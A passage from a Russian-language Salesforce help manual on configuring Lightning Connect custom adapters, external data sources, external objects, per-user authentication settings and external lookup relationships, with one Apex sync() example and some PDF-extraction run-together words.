системы.Данныйалгоритмнеприменяетсяк внешнимобъектам, связанным
с крупными внешними источниками данных.

Пример: Данныйфрагмент из образца класса DataSource.Connection показывает DataSource.Column
по имени ExternalId.

override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();

List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('title', 255));
columns.add(DataSource.Column.text('description',255));
columns.add(DataSource.Column.text('createdDate',255));
columns.add(DataSource.Column.text('modifiedDate',255));
columns.add(DataSource.Column.url('selfLink'));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('ExternalId',255));
tables.add(DataSource.Table.get('googleDrive','title',

columns));
return tables;
}

СМ. ТАКЖЕ:

Пользовательский адаптер для Lightning Connect

Руководство разработчика Apex
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Доступ к внешним данным посредством пользовательского адаптера для Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Автор Apex»Для создания классов Apex:

«Изменение всех данных»Для настройки параметров удаленного
доступа:

«Настройка приложения»Для создания и редактирования внешних
источников данных:

«Настройка приложения»Для создания и редактирования внешних
объектов:

«Настройка приложения»Для определения или изменения справки
объекта:

«Настройка приложения»Для создания и редактирования
настраиваемых полей:

«Управление профилями и наборами
полномочий»

Для редактирования наборов полномочий
и профилей пользователей:

«Управление пользователями»Для редактирования параметров проверки
подлинности другого пользователя для
внешних систем:

Разрешите пользователям просмотр, поиск и изменение данных везде в пределах своей организации Salesforce.

Чтобы настроить Lightning Connect с пользовательским адаптером, выполните указанные ниже действия.

1. Разработка пользовательского адаптера для Lightning Connect.

Воспользуйтесь Инфраструктурой коннекторов Apex, чтобы создать классы DataSource.Connection и
DataSource.Provider, из которых состоит пользовательский адаптер.

2. Задайте удаленные узлы для вызовов Apex.

Если пользовательский адаптер использует какие-либо вызовы Apex, определите каждую конечную точку вызовов
как удаленныйузел вашейорганизации. Однако задание удаленного узламожноине выполнять для вызова, конечная
точка для которого указана как именованные регистрационные данные вместо URL.

3. Определите внешний источник данных типа «Lightning Connect: Настраиваемый.

Если вы создали несколько пользовательских адаптеров, убедитесь, что в поле «Тип» внешнего источника данных
указан верный класс DataSource.Provider.

4. Создайте внешние объекты.

Выполните данное действие только при условии отмены синхронизации для автоматического создания внешних
объектов. Create an external object for each external data table that you want to access from your Salesforce org.

5. Создайте содержимое справки для внешних объектов.

Создайте страницы Visualforce для описания внешних данных. Ссылка «Справка для этой страницы», выбранная
пользователем при просмотре внешнего объекта, позволяет просмотреть содержимое настраиваемой справки.
Помните, что справка Salesforce не содержит информацию о внешних данных.
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6. Добавьте настраиваемые поля и взаимосвязи во внешние объекты.

Создайте взаимосвязи между объектами. If you didn’t sync to automatically create the external objects and their fields, create
a custom field for each external table column that you want to access from your Salesforce org.

7. Предоставьте пользователям доступ к внешним объектам.

Предоставьте полномочия объекта посредством наборов полномочий или профилей.

8. Предоставьте пользователям доступ к полям внешних объектов.

Предоставьте полномочия поля посредством наборов полномочий или профилей.

9. Если внешний источник данных использует индивидуальную проверку подлинности, выполните указанные ниже
действия.

a. Разрешите пользователям выполнять проверку подлинности во внешней системе.

Предоставьте пользователям доступ к параметрам проверки подлинности для внешнего источника данных
посредством наборов полномочий или профилей.

b. Настройте параметры проверки подлинности каждого пользователя.

Данное действие может быть выполнено администратором или пользователями.

Совет: Рекомендуем обучить пользователей процессу настройки параметров проверки подлинности для
внешних систем. Убедитесь, что пользователи понимают, какие регистрационные данные следует вводить
для каждой внешней системы. Прииспользовании OAuth 2.0 рекомендуемпротестировать процесс OAuth на
наличие потенциально бесполезных напоминаний или переадресаций, а также обучить пользователей
должным образом. Доступные процессы OAuth определяются используемой внешней системой, текущим
поставщиком проверки подлинности и выбранными областями.

СМ. ТАКЖЕ:

Пользовательский адаптер для Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Руководство разработчика: руководство разработчика Visualforce

Взаимосвязи внешних объектов

5471

Интеграция внешних данныхРасширение Salesforce посредством интерактивных
инструментов

https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/pages_intro.htm


Определение внешнего источника данных для Lightning Connect: пользовательский адаптер

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования внешних
источников данных:
• «Настройка

приложения»

Подключите вашу организацию Salesforce к любым данным при помощи
пользовательского адаптера Lightning Connect, который создается при помощи
Инфраструктура коннекторов Apex.

Разработка пользовательского адаптера для Lightning Connect. Если пользовательский
адаптериспользуетвызовыApex, следует такжеопределитьудаленныеузлыдляконечных
точек вызовов. См. раздел Доступ к внешним данным посредством пользовательского
адаптера для Lightning Connect на странице 5470.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Чтобы создать внешний источник данных, нажмите кнопку «Создать внешний
источникданных». Чтобыизменитьтекущийвнешнийисточникданных, щелкните
ссылку «Правка».

3. Заполните поля.

ОписаниеПоле

Понятное имя внешнего источника данных. Метка
отображается в пользовательском интерфейсе Salesforce
(например, в списковых представлениях).

При назначении параметру «Тип удостоверения» значения
«Напользователя» даннаяметкаотображаетсяприпросмотре
или редактировании параметров проверки подлинности для
внешних систем.

Метка

Уникальный идентификатор, используемый для обращения
копределениювнешнегоисточникаданныхпосредством API.

Имя может содержать только буквы, цифры и символы
подчеркивания. Кроме того, оно должно начинаться с буквы;

Имя

не может содержать пробелов и двух последовательных
символов подчеркивания, а также не может заканчиваться
символом подчеркивания.

Выберите значение «Lightning Connect:
пользовательский—<имя класса
DataSource.Provider>.

Тип

URL внешней системы.

Доступно, только когда класс DataSource.Provider
объявляет о возможности REQUIRE_ENDPOINT. Если класс

URL-адрес

также объявляет способность REQUIRE_HTTPS, URL должен
начинаться с https://.

If the endpoint is defined in a named credential, enter the named
credential URL. A named credential URL contains the scheme
callout:, the name of the named credential, and an optional
path. Например: callout:My_Named_Credential/some_path.
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ОписаниеПоле

Позволяетпользователямсоздавать, обновлятьилиудалять записиовнешнихобъектов
для этого источника данных средствами Salesforce. По умолчанию внешние объекты
используются только для чтения.

Разрешить создание,
изменение и удаление

Система Salesforceприменяетограниченияпочастотеизвлеченияипросмотра данных
из внешнихсистем. If your org hits rate limits when accessing external objects that are associated

Большой объем данных

with this external data source, consider selecting this field. Данное действие позволяет
пропускать большинство ограничений. Тем не менее, внешние объекты, связанные с
внешнимиисточникамиданныхбольшогообъема, неподдерживаютсяприложением
Salesforce1 и лентами записей.

If you specify a certificate, your Salesforce org supplies it when establishing each two-way SSL
connection with the external system. The certificate is used for digital signatures, which verify
that requests are coming from your Salesforce org.

Доступно, только когда класс DataSource.Provider объявляет о возможности
проверки подлинности CERTIFICATE.

Сертификат

Данный параметр определяет необходимость использования одного или нескольких
наборов регистрационных данных для доступа к внешней системе. См. раздел «Тип
удостоверения для внешних источников данных» на странице 5411.

Доступно, только когда класс DataSource.Provider объявляет о возможности
проверки подлинности BASIC или OAUTH.

Тип удостоверения

4. Выберите нужный протокол проверки подлинности.

• При выборе значения «Проверка подлинности паролей» введите имя пользователя и пароль для доступа к
внешней системе.

Проверка подлинности, в ходе которой используется пароль, доступна только тогда, когда в классе
DataSource.Provider объявляется о возможности проверки подлинности BASIC.

• При выборе значения «OAuth 2.0» заполните поля ниже.

Проверка подлинности OAuth 2.0 доступна, только когда в классе DataSource.Provider объявляется о
возможности проверки подлинности OAUTH.

ОписаниеПоле

Выберитепоставщика. См. разделОбщиесведенияовнешнихпоставщикахпроверки
подлинности на странице 1016.

Поставщик проверки
подлинности

Выберитеобластьполномочийдляотправкизапросанамаркердоступа.Допустимые
значения определяются поставщиком проверки подлинности. См. раздел
Использование параметра Scope на странице 1051.

Область

Прим.:

– Введенное значение заменяет значение поля «Стандартные области»,
заданное в указанном поставщике проверки подлинности.
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ОписаниеПоле

– Необходимость определения областей может влиять на необходимость
отображения страницы согласия каждым процессом OAuth.

– Рекомендуем пользователям запрашивать маркер обновления или
автономный доступ. В противном случае, при истечении срока действия
маркера доступ к внешней системе отменяется.

To authenticate to the external system and obtain an OAuth token, select this checkbox.
Данный процесс проверки подлинности называется процессом OAuth.

When you click Save, the external system prompts you to log in. After successful login, the
external system grants you an OAuth token for accessing its data from this org.

Начать процесс проверки
подлинности при
сохранении

Повторите процесс OAuth для создания маркера (например, при истечении срока
действиямаркера) илиредактированияполя «Область» или «Поставщик проверки
подлинности».

5. Нажмите кнопку «Сохранить».

6. Нажмите кнопку «Проверить и синхронизировать» и подтвердите успешность подключения.

На этом этапе также выполняется вызов метода sync() для класса DataSource.Connection, извлекающий
список таблиц для синхронизации при создании внешних объектов и их полей.

7. Принеобходимостивыберитетаблицыищелкните«Синхронизировать». Нижеперечисленыдействия, выполняемые
для каждой выбранной таблицы.

• Автоматическое создание внешнего объекта Salesforce.

• Автоматическое создание настраиваемого поля для каждого столбца таблицы, совместимого с типом поля
метаданных Salesforce.

Прим.: Прежде чем начать синхронизацию, просмотрите рекомендации, описанные в разделах ниже.

• Рекомендации по синхронизации для Lightning Connect: все адаптеры на странице 5416

• Рекомендации по синхронизации для Lightning Connect: пользовательский адаптер на странице 5420

Принеобходимостисоздайтенужныевнешниеобъектыинастраиваемыеполявручную. Данныйалгоритмпозволяет
настраивать имена внешних объектов, определять столбцы таблицы для создания настраиваемых полей и задавать
именанастраиваемыхполей. Темнеменее, данныйспособзанимаетбольшевремениидолженвыполнятьсявручную.

СМ. ТАКЖЕ:

Доступ к внешним данным посредством пользовательского адаптера для Lightning Connect

Хранение параметров проверки подлинности для внешних систем

Именованные регистрационные данные
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Рекомендации по использованию Lightning Connect: пользовательский адаптер

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Просмотрите особые алгоритмы, ограничения и рекомендации по использованию
пользовательского адаптера для Lightning Connect.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

Рекомендации по использованию Apex для Lightning Connect: пользовательский
адаптер
Следует принять во внимание ограничения и рекомендации по созданию
пользовательскихадаптеровдляLightning ConnectвИнфраструктуреконнекторовApex.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры

Рекомендации по использованию Apex для Lightning Connect: пользовательский адаптер

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Следует принять во внимание ограничения и рекомендации по созданию
пользовательских адаптеров для Lightning Connect в Инфраструктуре коннекторовApex.

• Ограничения, связанные с типом данных:

– Число с двойной точностью: значение теряет точность при превышении
количества разрядов в 18 значимых разрядов. Для повышения точности следует
использовать десятичные значения, а не числа с двойной точностью.

– Строка: если длина превышает 255 символов, эта строка сопоставляется с полем
для ввода длинного текста в Salesforce.

• Пользовательские адаптеры для Lightning Connect имеют те же ограничения, что и
любой код Apex. Например:

– Все контролирующие ограничения Apex применимы в данном случае.

– Вызовы Apex запрещены после выполнения операций на языке манипуляции
данными (DML) в той же транзакции. Поэтому в пределах одной и той же
транзакции нельзя обновить запись Salesforce, а затем перейти к вызову Apex.

СМ. ТАКЖЕ:

Пользовательский адаптер для Lightning Connect

Рекомендации по совместимости Salesforce для Lightning Connect: все адаптеры

Руководство разработчика Apex: простые типы данных

Руководство разработчика Apex: контролирующие ограничения при выполнении

Руководство разработчика Apex: Ограничения для выносок
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Определение внешних источников данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect для внешних
облачных источников
данных доступен в выпусках:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для внешних
источников данных на
площадке клиента доступен
при дополнительнойоплате
в выпусках: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования внешнего
источника данных:
• «Настройка

приложения»

Создайте внешние источники данных для подключения к содержимому и данным,
хранящимся вне организации Salesforce.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Нажмитекнопку «Создатьвнешнийисточникданных». Чтобыизменитьтекущий
внешний источник данных, щелкните ссылку «Правка».

3. Выполните действия для выбранного типа внешнего источника данных.

• Files Connect: Google Drive».

• Files Connect: SharePoint 2010 или 2013

• Files Connect: SharePoint Online или OneDrive for Business

• Простой URL-адрес: данные из другого веб-домена

• Lightning Connect: OData 2.0

• Lightning Connect: OData 4.0

• Lightning Connect: Salesforce

• Lightning Connect: Настраиваемый

СМ. ТАКЖЕ:

Lightning Connect
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Проверка и синхронизация внешнего источника данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect для внешних
облачных источников
данных доступен в выпусках:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для внешних
источников данных на
площадке клиента доступен
при дополнительнойоплате
в выпусках: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания внешнего
объекта из внешнего
источника данных:
• «Настройка

приложения»

Рекомендуем синхронизировать настроенный внешний источник данных для
соотнесения его таблиц с внешними объектами в системе Salesforce. Подобно
содержимомуиданнымSalesforce, содержимоеиданныевнешнихобъектовотображаются
интегрированным поиском.

Прим.:

• Синхронизация инициирует создание или перезапись внешних объектов
Salesforce, которые соотносятся со схемой внешней системы. Синхронизация
неинициируеткопированиеданныхворганизациюSalesforceилизаписьданных
из организации во внешнюю систему.

• Синхронизация — эторазовыйпроцесс. Внесениеизмененийв схему внешней
системы не инициирует автоматическую синхронизацию изменений в
организации Salesforce. Отображение изменений во внешней системе требует
повторной синхронизации объектов.

• Каждая организацияможет использовать не более 100 внешнихобъектов.При
превышении данного ограничения синхронизация прекращается.

• При использовании внешних источников данных Lightning Connect убедитесь
в прочтении и понимании рекомендаций по синхронизации. См. раздел
«Рекомендации по синхронизации для Lightning Connect: все адаптеры» на
странице 5416.

1. Введите строку «Внешние источники данных» в поле «Быстрый поиск» в меню
«Настройки», затем выберите пункт «Внешние источники данных».

2. Щелкните имя внешнего источника данных.

3. Нажмите кнопку «Проверить и синхронизировать» и подтвердите успешность
подключения.

4. Выберитетаблицыищелкните«Синхронизировать». Нижеперечисленыдействия,
выполняемые для каждой выбранной таблицы.

• Автоматическое создание внешнего объекта Salesforce.

• Автоматическое создание настраиваемого поля для каждого столбца таблицы,
совместимого с типом поля метаданных Salesforce.

Пример: Итоговая страница сведений о внешнем источнике данных будет
содержать список связанных внешних объектов. Например:
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СМ. ТАКЖЕ:

Lightning Connect

Определение внешних объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect для внешних
облачных источников
данных доступен в выпусках:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для внешних
источников данных на
площадке клиента доступен
при дополнительнойоплате
в выпусках: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования внешних
объектов:
• «Настройка

приложения»

Таблицыизвнешнихисточниковданныхсоотносятсяс внешнимиобъектамивсистеме
Salesforce, позволяя интегрированному поиску охватывать все данные и содержимое.

Внешние объекты аналогичны настраиваемым объектам, но соотносятся с данными,
хранящимися вне организации Salesforce. Каждый внешний объект использует
определениевнешнегоисточникаданныхдляподключениякданнымвнешнейсистемы.
Каждоеопределениевнешнегообъектасоотноситсястаблицейданныхвнешнейсистемы.
Каждое поле внешнего объекта соотносится со столбцом таблицы внешней системы.
Внешние объекты позволяют пользователям и платформе Force.com выполнять поиск
и взаимодействовать с внешними данными.

Прим.:

• Каждая организация может использовать не более 100 внешних объектов.

• Если внешняя система поддерживает синхронизацию внешнего источника
данных, воспользуйтесь данной функцией для автоматического создания
связанных внешних объектов. Чтобы настроить имена внешних объектов и
вручную создать настраиваемые поля, рекомендуем определить внешние
объекты вручную.

Чтобы создать или изменить внешний объект, выполните указанные ниже действия.

1. Введите строку «Внешние объекты» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Внешние объекты».

2. Чтобы создать внешний объект, нажмите кнопку «Создать внешний объект».
Чтобы изменить текущий внешний объект, щелкните ссылку «Правка».

3. Заполните указанные ниже поля.

ОписаниеПоле

Понятное имя внешнего объекта. Метка отображается в
пользовательском интерфейсе Salesforce (например, в
списковых представлениях).

Метка

Имя внешнегообъекта вомножественномчисле. Данноеимя
используется на вкладке, созданной для объекта.

Метка
множественного
числа

Принеобходимостиукажите, следуетлииспользоватьартикль,
заканчивающийся на согласную букву, перед меткой.

Начинается с
гласного звука
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ОписаниеПоле

Уникальныйидентификатор, используемыйдляобращениякопределениювнешнего
объекта посредством API.

Поле «Имяобъекта» может содержать толькобуквы, цифрыисимволыподчеркивания.
Имя должно быть уникальным и начинаться с буквы; не может содержать пробелов и

Имя объекта

двух последовательных символов подчеркивания, а также не может заканчиваться
символом подчеркивания.

Дополнительное описание внешнего объекта. Подробное описание позволяет легко
отличить один внешний объект от другого при просмотре списка внешних объектов.

Описание

Данноеполе определяет текст, отображаемыйпри выборе ссылки «Справкадля этой
страницы»наначальнойстраницеилистраницесведенийозаписивнешнегообъекта,
а также в списковых представлениях и связанных списках.

Рекомендуем установить переключатель «Открыть окно с помощью страницы
Visualforce» для отображения настраиваемой справки, созданной для пользователей.
См. раздел «Начало работы со справкой объекта» на странице 4404.

Параметры
контекстно-зависимой
справки

При сохранении стандартного значения пользователям отображается только справка
Salesforce, которая не содержит сведений о внешних данных.

Этот параметр не влияет на ссылку «Справка и обучение» вверху каждой страницы,
которая всегда открывает справку Salesforce.

ВыберитестраницуVisualforce, содержащуюописаниеданных, представленныхданным
внешним объектом.

Данное поле доступно только при установке переключателя «Открыть окно с
помощью страницы Visualforce».

Имя содержимого

Определение внешнего источника данных, содержащее сведения о подключении,
необходимые для использования данного внешнего объекта.

Внешний источник данных

Таблица во внешней системе, используемая внешним объектом для соотнесения.

Прииспользовании SharePoint имятаблицыдолжносоответствоватьименисвязанной
области.

Имя таблицы

Доступно только для Lightning Connect. Значения стандартного поля «Отображаемый
URL-адрес» внешнего объекта генерируются автоматически во внешней системе.

Ссылочное поле
отображаемого URL-адреса

Например, приналичииадаптера OData 2.0 для Lightning Connect значение генерируется
на основе link href, определенного для поставщика OData.

Принеобходимостипереопределитестандартныезначениязначенияминастраиваемого
поля того же внешнего объекта. Выберите имя поля и убедитесь, что значения
настраиваемого поля являются действительными URL-адресами.

Данное поле определяет доступность внешнего объекта другим пользователям.Статус развертывания

При наличии данного флажка мастер создания настраиваемой вкладки запускается
после сохранения внешнего объекта.

Запустить мастер создания
настраиваемой вкладки
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ОписаниеПоле

после сохранения данного
внешнего объекта

4. Нажмите кнопку «Сохранить».

5. Страница сведений о внешнем объекте позволяет просматривать и изменять настраиваемые поля и взаимосвязи,
макеты страниц, наборы полей, макеты поиска, кнопки и ссылки внешнего объекта.

• Чтобысоздать соотнесенияполейилидобавитьполя во внешнийобъект, нажмите кнопку «Создать» в связанном
списке «Настраиваемые поля и взаимосвязи».

• Чтобы назначить разные макеты страниц профилям пользователей, нажмите кнопку «Назначение макета
страницы».

СМ. ТАКЖЕ:

Доступ к внешним данным посредством адаптера OData 2.0 или 4.0 для Lightning Connect

Доступ к данным в другой организации посредством адаптера Salesforce для Lightning Connect

Доступ к внешним данным посредством пользовательского адаптера для Lightning Connect
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Предоставление доступа к параметрампроверки подлинности для внешнихисточников
данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect for
cloud-based external data
sources is available in:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect for
on-premises external data
sources is available for an
extra cost in: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
наборов полномочий и
профилей пользователей:
• «Управление

профилями и наборами
полномочий»

Предоставьте пользователям доступ к внешним источникам данных, использующим
проверку подлинности отдельного пользователя, посредством наборов полномочий и
профилей. Данное действие позволяет пользователям настраивать и управлять
собственными параметрами проверки подлинности для доступа к внешней системе.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий» или «Профили».

2. Щелкните имя нужного набора полномочий или профиля.

3. Выполните одно из указанных ниже действий.

• Привыборенабораполномочийилипрофиляврасширенномпользовательском
интерфейсе профиля щелкните ссылку «Доступ к внешнему источнику
данных» в разделе «Приложения». Затем нажмите кнопку «Правка».

• При выборе профиля в исходном пользовательском интерфейсе профиля
нажмите кнопку «Правка» в разделе «Доступ к внешнему источнику данных
включен».

4. Добавьте нужные источники данных.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Хранение параметров проверки подлинности для внешних систем

Доступ к даннымвдругойорганизациипосредствомадаптера Salesforce для Lightning
Connect

Доступ к внешним данным посредством адаптера OData 2.0 или 4.0 для Lightning
Connect

Доступ к внешним данным посредством пользовательского адаптера для Lightning
Connect
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Хранение параметров проверки подлинности для внешних систем

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Именованные
регистрационные данные
доступны в версиях: все
версии.

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect для внешних
источников данных на
основе облака доступен в
следующих версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для локальных
внешних источников
данных доступен за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.
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ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для хранения параметров
проверки подлинности для
внешнего источника
данных:
• Источник данных,

включенный в разделе
«Доступ к внешнему
источнику данных»

Для хранения параметров
проверки подлинности для
именованных
регистрационных данных:
• Именованные

регистрационные
данные, включенные в
разделе «Доступ к
именованным
регистрационным
данным»

Для редактирования
параметров проверки
подлинности другого
пользователя для внешних
систем:
• «Управление

пользователями»

Пользовательилиадминистраторможетнастраиватьиуправлятьпараметрамипроверки
подлинности для внешних систем. При наличии допустимых параметров проверки
подлинности внешние системы могут быть доступны прямо из организации Salesforce.

Администратор определяет внешние системы во внешних источниках данных и
именованных регистрационных данных. Внешние источники данных определяют
способ доступа к данным или содержимому, хранящемуся вне организации Salesforce.
Именованные регистрационные данные определяют конечные точки выноски,
получающие выноски веб-служб от организации.

Преждечемначатьработу, администратордолженвыполнить указанныенижедействия.

• Настройкавнешнегоисточникаданныхилиименованныхрегистрационныхданных
для использования проверки подлинности отдельного пользователя.

• Предоставление доступа к внешнему источнику данных или именованным
регистрационным данным.

• Проверка организации на возможность подключения к внешней системе.

• Уведомление пользователя о параметрах проверки подлинности для ввода.

• Настройка сообщества (при необходимости) посредствомшаблона «Вкладки
Salesforce + Visualforce».

Если ожидаемые параметры или настройки не отображаются, обратитесь к
администратору.

1. Чтобы получить доступ к параметрам проверки подлинности для внешних систем,
воспользуйтесь одним из способов ниже.

Из сообщества:

• При наличии лицензии сообщества последовательно выберите пункты «Мои
параметры» > «Параметры проверки подлинности для внешних систем».

• В противном случае на странице личных параметров введите «Проверка
подлинности», затемвыберите«Параметрыпроверкиподлинностидлявнешних
систем».

В Salesforceперейдите к личнымпараметрамивведите строку «Проверка подлинности» вполе «Быстрый поиск», затем
выберите «Параметры проверки подлинности для внешних систем».

2. Нажмите кнопку «Создать» или «Правка».

3. Заполните поля.

ОписаниеПоле

Чтобы продолжить выбор параметра, обратитесь к администратору.Определение внешней
системы • «Внешнийисточникданных»: предоставлениедоступаквнешнимобъектам, данные

которых хранятся вне организации Salesforce.

• «Именованные регистрационные данные»: Действия могут инициировать
проверенные вызовы для конечной точки, указанной в именованных
регистрационных данных.

Именованные регистрационные данные могут использоваться для проверки
подлинности внешнего источника данных. В этом сценарии ваш администратор
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ОписаниеПоле

предоставляет инструкции для того, чтобы вы в этом поле выбрали Именованные
регистрационные данные для доступа к внешним объектам.

Отображаемоеполеопределяется значениемполя «Определение внешней системы».

Чтобы продолжить выбор параметра, обратитесь к администратору.Администратор
может изменить метки параметров для повышения их актуальности или облегчения
процесса их различия.

Внешний источник данных

или

Именованные
регистрационные данные

Данное поле доступно только администраторам. Выберите нужного пользователя.Пользователь

4. Выберите протокол проверки подлинности, требуемый внешней системой. Чтобы продолжить выбор параметра,
обратитесь к администратору.

• При выборе значения «Проверка подлинности паролей» введите имя пользователя и пароль для внешней
системы.

• При выборе значения «OAuth 2.0» заполните поля ниже.

ОписаниеПоле

Чтобыпродолжитьвыборпараметра, обратитеськ администратору.Администратор
можетизменитьметкипараметровдляповышенияихактуальностиилиоблегчения
процесса их различия.

Поставщик проверки
подлинности

Чтобы продолжить ввод данных, обратитесь к администратору.

Выберите область полномочий для отправки запроса на маркер доступа.

Область

Чтобы выполнить проверку подлинности на внешней системе и получить маркер
OAuth, отметьте флажком этот пункт. Данный процесс проверки подлинности
называется процессом OAuth.

При нажатии кнопки «Сохранить» внешняя система отображает запрос на
выполнение входа. После успешного входа внешняя система предоставляет
пользователю маркер OAuth для доступа к данным из текущей организации.

Начать процесс проверки
подлинности при
сохранении

Повторите процесс OAuth для создания маркера (например, при истечении срока
действиямаркера) илиредактированияполя «Область» или «Поставщик проверки
подлинности».
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5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Определение внешних источников данных

Предоставление доступа к параметрам проверки подлинности для внешних источников данных

Определение именованных регистрационных данных

Предоставление доступа к параметрам проверки подлинности для именованных регистрационных данных

Добавление вкладок в сообщество

Индивидуальная настройка системы Salesforce

Взаимосвязи внешних объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Lightning Connect доступен
в версиях: Developer
Edition. Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Files Connect для внешних
облачных источников
данных доступен в выпусках:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Files Connect для внешних
источников данных на
площадке клиента доступен
при дополнительнойоплате
в выпусках: Enterprise
Edition, Performance
Edition, Unlimited Edition и
Developer Edition.

Внешниеобъектыподдерживаютстандартныеотношенияпоиска, которыеиспользуют
18-символьныеидентификаторызаписи Salesforceдляпривязки связанных записейдруг
к другу. Однако данные, которые хранятся вне пределов организации Salesforce, часто не
содержат этих идентификаторов записей. Поэтому внешние объекты поддерживают
два дополнительных типа взаимосвязей поиска: внешние поиски и непрямые поиски.

Запросы к внешним источникам и непрямые запросы сравнивают значения
определенных полей на родительском объекте со значениями поля взаимосвязи
дочернего объекта. При совпадении значений записи считаются связанными между
собой.

Чтобысоздатьотношениес внешнимобъектом, создайтенастраиваемоеполедочернего
объекта с однимиз следующих типов полей. Если дочерний объект является внешним,
вместо этого вы можете изменить тип поля существующего настраиваемого поля на
один из следующих.

• Взаимосвязь поиска

• Взаимосвязь внешнего поиска

• Взаимосвязь непрямого поиска

Данная таблица охватывает типы взаимосвязей, доступные для внешних объектов.

Родительское поле для
сопоставления записей

Допустимые
родительские
объекты

Допустимые
дочерние
объекты

Взаимосвязь

18-значный код записи
Salesforce

Стандартный

Настраиваемый

Стандартный

Настраиваемый

Внешний

Поиск

Стандартное поле
«Внешний код»

«Внешний»Стандартный

Настраиваемый

Внешний поиск

«Внешний»

Выбрать настраиваемое
поле можно с помощью

Стандартный

Настраиваемый

«Внешний»Непрямой поиск
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Родительское поле для
сопоставления записей

Допустимые
родительские объекты

Допустимые дочерние
объекты

Взаимосвязь

атрибутов «Внешний код» и
«Уникальный».

Поля взаимосвязи поиска для внешних объектов
Рекомендуем использовать взаимосвязь поиска, если внешние данные содержат столбец, определяющий связанные
записи Salesforce по 18-значным кодам.

Поля взаимосвязи внешнего поиска для внешних объектов
Рекомендуем использовать взаимосвязь внешнего поиска, если родительский объект является внешним.

Поля взаимосвязи непрямого поиска для внешних объектов
Рекомендуемиспользоватьвзаимосвязьнепрямогопоиска, есливнешниеданныенесодержаткодызаписей Salesforce.

СМ. ТАКЖЕ:

Создание настраиваемых полей

Изменение типа настраиваемого поля

Рекомендации по использованию взаимосвязей для Lightning Connect: все адаптеры

Добавление источника данных Files Connect в глобальный поиск

Общие сведения о взаимосвязях объектов
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Поля взаимосвязи поиска для внешних объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

